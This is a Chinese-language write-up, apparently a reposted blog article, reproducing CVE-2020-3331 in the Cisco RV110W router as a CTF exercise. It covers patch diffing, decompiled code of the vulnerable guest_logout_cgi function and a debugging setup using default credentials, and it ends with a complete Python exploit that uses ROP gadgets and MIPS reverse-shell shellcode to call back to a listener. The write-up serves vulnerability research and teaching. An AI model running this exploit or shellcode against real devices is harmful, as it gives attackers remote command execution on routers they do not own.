CVE-2020-3331漏洞复现

admin 2022年3月3日16:40:12评论101 views字数 8856阅读29分31秒阅读模式

1

前言

这是2020年QWB的RW赛题——思科RV110W路由器
关于题目信息如下:
CVE-2020-3331漏洞复现
要求对cisco RV110W 完成远程命令执行。

2


漏洞点寻找

如果想全方位的了解路由器的整体服务的路由器代码框架可以看一看官方的源码或者文档。
CVE-2020-3331漏洞复现
由于笔者英语不是很好就找了一篇分析文章进行观看。
常见嵌入式Web服务器CGI处理功能简要分析(https://github.com/Larryxi/Larryxi.github.io/blob/master/_posts/2020-02-03-iot-web-server-cgi-handler-analysis.md)
站在漏洞复现的角度,我们可以下载补丁过后的固件查看补丁的内容,从而确定漏洞点,方便我们分析。
CVE-2020-3331漏洞复现
官网找到版本之后发现1.2.2.5之后就只有1.2.2.8,下载下来
通过IDA Bindiff分析
CVE-2020-3331漏洞复现
通过分析DIff结果发现,改动较大的几个函数中发现比较可疑的有三个函数分别为SetWLSSIDCmd,guest_logout_cgi,SetWLWDSCMD这三个函数其中SetWLSSIDCmd,SetWLWDSCMD这两个函数是共性问题,system函数的参数是通过这两个函数的参数控制的,如下图:
CVE-2020-3331漏洞复现
CVE-2020-3331漏洞复现
如上图所示,这两个函数都是用到了system函数并且都在1.2.2.8版本中把system函数进行了删除,并且system函数的参数是通过SetWLSSIDCmd(),SetWLWDSCMD()这两个函数本身的参数控制的,只是通过交叉引用没用找到函数的调用地方,所以我们的重点放在guest_lot_cgi函数模块:
CVE-2020-3331漏洞复现
在guest_logout_cgi模块中也就是用户登出模块中把当中的scanf函数删掉换成了strncpy函数,sscanf函数是危险函数如果参数可控可能会造成溢出结果。我们通过IDA伪C代码对比查看scanf原格式化参数是什么,如下图所示:左边是1.2.2.5版本,右边是1.2.2.8版本。
CVE-2020-3331漏洞复现
首先我们要了解sscanf的使用方法。
CVE-2020-3331漏洞复现
通过格式化说明我们的得知是将v11分成两部分给v36,v35具体如下:
v11="aaaa;name=keern";
sscanf(v11"%[^;];%*[^=]=%[^n]"v36v35);
v36="aaaa";
v35="keer";
题目的原函数代码如下:
int __fastcall guest_logout_cgi(int a1)
{
 const char *v1// $v0
 int cgi// $s0
 char *i// $s0
 int v4// $v1
 const char *v5// $s3
 const char *v6// $v0
 int v7// $s0
 char *j// $s0
 int v9// $v1
 const char *v10// $s2
 const char *v11// $s4
 FILE *v12// $v0
 FILE *v13// $s0
 FILE *v14// $v0
 FILE *v15// $s0
 char *v17// $v0
 int v18// $a1
 char *v19// $a2
 FILE *v20// $v0
 int v21// $a1
 int v22// $a2
 FILE *v23// $s0
 const char *v24// $v0
 int v25// $s1
 const char *v26// $v0
 int v27// $a1
 int v28// $a2
 FILE *v29// $v0
 FILE *v30// $s0
 const char *v31// $a0
 FILE *v32// $v0
 FILE *v33// $s0
 int v34[5]; // [sp+28h] [-98h] BYREF
 char v35[64]; // [sp+3Ch] [-84h] BYREF
 char v36[68]; // [sp+7Ch] [-44h] BYREF

 cgi = get_cgi("cmac");
 v1 = (const char *)get_cgi("cmac");
 for ( i = (char *)(cgi + strlen(v1- 1); get_cgi("cmac"< (unsigned int)i*i-- = 0 )
{
   v4 = *i;
   if ( v4 != 10 && v4 != 13 && v4 != 32 )
     break;
}
 v5 = (const char *)get_cgi("cmac");
 v7 = get_cgi("cip");
 v6 = (const char *)get_cgi("cip");
 for ( j = (char *)(v7 + strlen(v6- 1); get_cgi("cip"< (unsigned int)j*j-- = 0 )
{
   v9 = *j;
   if ( v9 != 10 && v9 != 13 && v9 != 32 )
     break;
}
 v10 = (const char *)get_cgi("cip");
 v11 = (const char *)get_cgi("submit_button");
 if ( !v11 )
   v11 = "";
 if ( v5 && v10 )
{
   memset(v3600x40u);
   memset(v350sizeof(v35));
   v12 = fopen("/dev/console""w");
   v13 = v12;
   if ( v12 )
  {
     fprintf(v12"n mac=[%s], ip=[%s], submit_button=[%s]n"v5v10v11);
     fclose(v13);
  }
   if ( VERIFY_MAC_17(v5&& VERIFY_IPv4(v10) )
  {
     v17 = strstr(v11"status_guestnet.asp");
     v19 = v36;
     if ( !v17 )
       goto LABEL_31;
     sscanf(v11"%[^;];%*[^=]=%[^n]"v36v35);
     v20 = fopen("/dev/console""w");
     v23 = v20;
     if ( v20 )
    {
       fprintf(
         v20,
         "n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]n",
         "guest_logout_cgi",
         5449,
         v11,
         v36,
         v35);
       fclose(v23);
    }
     v24 = (const char *)nvram_get("session_key"v21v22);
     if ( !v24 || (v25 = 1strcmp(v24v35)) )
    {
LABEL_31:
       v26 = (const char *)nvram_get("http_client_mac"v18v19);
       if ( v26 && strcmp(v26v5)
         || (v31 = (const char *)nvram_get("http_client_ip"v27v28)) != 0 && strcmp(v31v10) )
      {
         v29 = fopen("/dev/console""w");
         v30 = v29;
         if ( v29 )
        {
           fprintf(
             v29,
             "n%s(%d) Drop session, ip and mac invmatch,mac=[%s], ip=[%s], submit_button=[%s]n",
             "guest_logout_cgi",
             5457,
             v5,
             v10,
             v11);
           fclose(v30);
        }
         goto LABEL_35;
      }
       v25 = 0;
    }
     syslog(6"The mac is %s and IP is %s of guest network user logout."v5v10);
     if ( debug )
    {
       v32 = fopen("/dev/console""w");
       v33 = v32;
       if ( v32 )
      {
         fprintf(v32"%s(): n mac=[%s], ip=[%s], submit_button=[%s]n""guest_logout_cgi"v5v10v11);
         fclose(v33);
      }
    }
     v34[0= (int)"/sbin/cron_gn";
     v34[1= (int)&byte_485FE4;
     v34[2= (int)v5;
     v34[3= (int)v10;
     v34[4= 0;
     eval(v34">/dev/console"00);
     if ( v25 && !strcmp(v36"status_guestnet.asp") )
    {
LABEL_36:
       if ( strlen(v36< 6 )
         do_ej(v11a1);
       else
         do_ej(v36a1);
       return 0;
    }
LABEL_35:
     if ( strcmp(v11"login_guest.asp") )
       return 0;
     goto LABEL_36;
  }
   v14 = fopen("/dev/console""w");
   v15 = v14;
   if ( v14 )
  {
     fprintf(
       v14,
       "n%s(%d) Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]n",
       "guest_logout_cgi",
       5442,
       v5,
       v10,
       v11);
     fclose(v15);
  }
}
 return 0;
}
我们可以看到v11是通过cgi应用的get_cgi函数得到的
 v11 = (const char *)get_cgi("submit_button");
 
 int __fastcall get_cgi(int a1)
{
 int result// $v0
 int v2[4]; // [sp+20h] [-10h] BYREF

 result = dword_4D8090;
 if ( dword_4D8090 )
{
   v2[1= a1;
   hsearch_r(a1v2[2], 0v2&dword_4D8090);
   result = v2[0];
   if ( v2[0] )
     return *(_DWORD *)(v2[0+ 4);
}
 return result;
}
可以看的出来get_cgi函数是用来获取哈希表里数据的函数,这个表单是程序处理post参数时完成设定的。也就是说v11的值也就是geust_logout.cgi的post 参数对照的内容,我们可以通过设定它的值,造成栈溢出漏洞,进行利用。

3

漏洞利用

准备调试环境

首先准备调试工具,把和自己自己编译好的mips gdbserver上传到路由器上。
已经编译好的gdbserver
首先查看本机的IP地址
CVE-2020-3331漏洞复现
然后我们在本机上搭建一个简单的python web服务器
python -m SimpleHTTPServe
CVE-2020-3331漏洞复现
使用telnet远程连接到路由器上用户:admin, 密码Admin123,然后再把gdbserver下载到路由器的tmp目录下
CVE-2020-3331漏洞复现
CVE-2020-3331漏洞复现

开始调试

查看httpd的pid 并且用gdbserver附加上去
chmod +x gdbserver
./gdbserver :1234 --attach 348
Attached; pid = 348
Listening on port 1234
Remote debugging from host 192.168.1.100
本机上远程连接
gdb-multiarch -q ../squashfs-root/usr/sbin/httpd
-ex "target remote 192.168.1.1:1234" 
-ex "b *0x431bb4" 
-ex "b *0x431bb8" 
-ex "b *0x431B34" 
-ex "c"
用测试脚本伪造好post 参数submit_button 进行调试,并且断在sscanf函数附近和函数返回处
import requests
import argparse
from pwn import *

payload = "status_guestnet.aspa" +"a"*0x100
url = "https://192.168.1.1/guest_logout.cgi"
burp0_headers = {"Connection""close"
                "Content-Type""application/x-www-form-urlencoded"}
burp0_data = {"cmac""00:01:02:03:04:05"
             "cip""192.168.1.100",
             "submit_button"payload}
requests.post(urlheaders=burp0_headersdata=burp0_dataverify=Falsetimeout=5)
CVE-2020-3331漏洞复现

运行到函数返回
CVE-2020-3331漏洞复现
CVE-2020-3331漏洞复现

可以算出偏移为0x55,我们可以观察寄存器信息 并且利用 IDA mipsrop插件去寻找gadget,利用寄存器上的栈地址并且在栈上写上shellcode,并且跳转上去。
由于程序上的地址为0x00xxxxxx有'x00'截断,所以不能用程序的gadget所以我们把目标指向libc。因为在实际运行中并没有PIE,所以说 libc的基址不变只需要gdb调试抓取即可。
CVE-2020-3331漏洞复现
因此libc_base=0x2af98000,然后我们讲libc拖入ida利用mipsrop找到gadget,在找到反弹shell的gadget构建payload即可
.text:00431B34                 lw     $ra, 0xC0+var_s24($sp)
.text:00431B38                 lw     $fp, 0xC0+var_s20($sp)
.text:00431B3C                 lw     $s7, 0xC0+var_s1C($sp)
.text:00431B40                 lw     $s6, 0xC0+var_s18($sp)
.text:00431B44                 lw     $s5, 0xC0+var_s14($sp)
.text:00431B48                 lw     $s4, 0xC0+var_s10($sp)
.text:00431B4C                 lw     $s3, 0xC0+var_sC($sp)
.text:00431B50                 lw     $s2, 0xC0+var_s8($sp)
.text:00431B54                 lw     $s1, 0xC0+var_s4($sp)
.text:00431B58                 lw     $s0, 0xC0+var_s0($sp)
.text:00431B5C                 move   $v0, $zero
.text:00431B60                 jr     $ra
CVE-2020-3331漏洞复现
我们可以通过函数结尾的汇编代码去设置 ra(返回地址)和s0~$s7等寄存器,来实现来回跳转我们发现程序返回的时候后只有 sp寄存器上有stack的地址,所以我们要利用sp去设置其他寄存器在libc找到了下面的一条rop来设置a0寄存器,然后再跳转到a0寄存器上就可以实现shellcode的执行。
CVE-2020-3331漏洞复现
CVE-2020-3331漏洞复现
shellcode可以在http://shell-storm.org/shellcode/直接找到
利用脚
from pwn import *
import thread,requests
port=0x1337
ip='192.168.1.100'
ip_list=ip.split('.')
io=listen(port)
libc=0x2af98000
mv_a0_sp=0x000257A0+libc
jmp_a0 =0x0003D050+libc
stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
stg3_SC += "x0cx09x09x01"
stg3_SC += p16(port-0x100)[1:]+p16(port-0x100)[:1]
stg3_SC += "x05x3cx01xffxa5x34x01x01xa5x20"
stg3_SC += "xf8xffxa5xaf"
stg3_SC += p8(int(ip_list[2]))+p8(int(ip_list[3]))
stg3_SC += "x05x3c"
stg3_SC += p8(int(ip_list[0]))+p8(int(ip_list[1]))
stg3_SC += "xa5x34xfcxffxa5xaf"
stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
stg3_SC += "xabx0fx02x24x0cx09x09x01"

payload = "status_guestnet.asp"+"a"*0x31+p32(jmp_a0)+"a"*0x20+p32(mv_a0_sp)+'b'*0x18+stg3_SC

url = "https://192.168.1.1/guest_logout.cgi"
burp0_data = {"cmac""12:22:22:33:44:55",
 "submit_button":payload,
 "cip""192.168.1.1"}
def attack():
 tryrequests.post(urldata=burp0_dataverify=False,timeout=1)
 exceptpass

thread.start_new_thread(attack,())
io.wait_for_connection()

io.interactive()
利用结果
CVE-2020-3331漏洞复现

4

参考链接

[1]https://www.jianshu.com/p/a2e9b6029a57
[2]https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F
[3]https://blog.csdn.net/YouTheFreedom/article/details/120362103
[4]https://blog.51cto.com/yang/4244030#sscanf_81
[5]https://xy2401.com/local-docs/gnu/manual.zh/libc/Hash-Search-Function.html
[6]https://github.com/Larryxi/Larryxi.github.io/blob/master/_posts/2020-02-03-iot-web-server-cgi-handler-analysis.md
[7]https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
CVE-2020-3331漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日16:40:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-3331漏洞复现http://cn-sec.com/archives/812232.html

发表评论

匿名网友 填写信息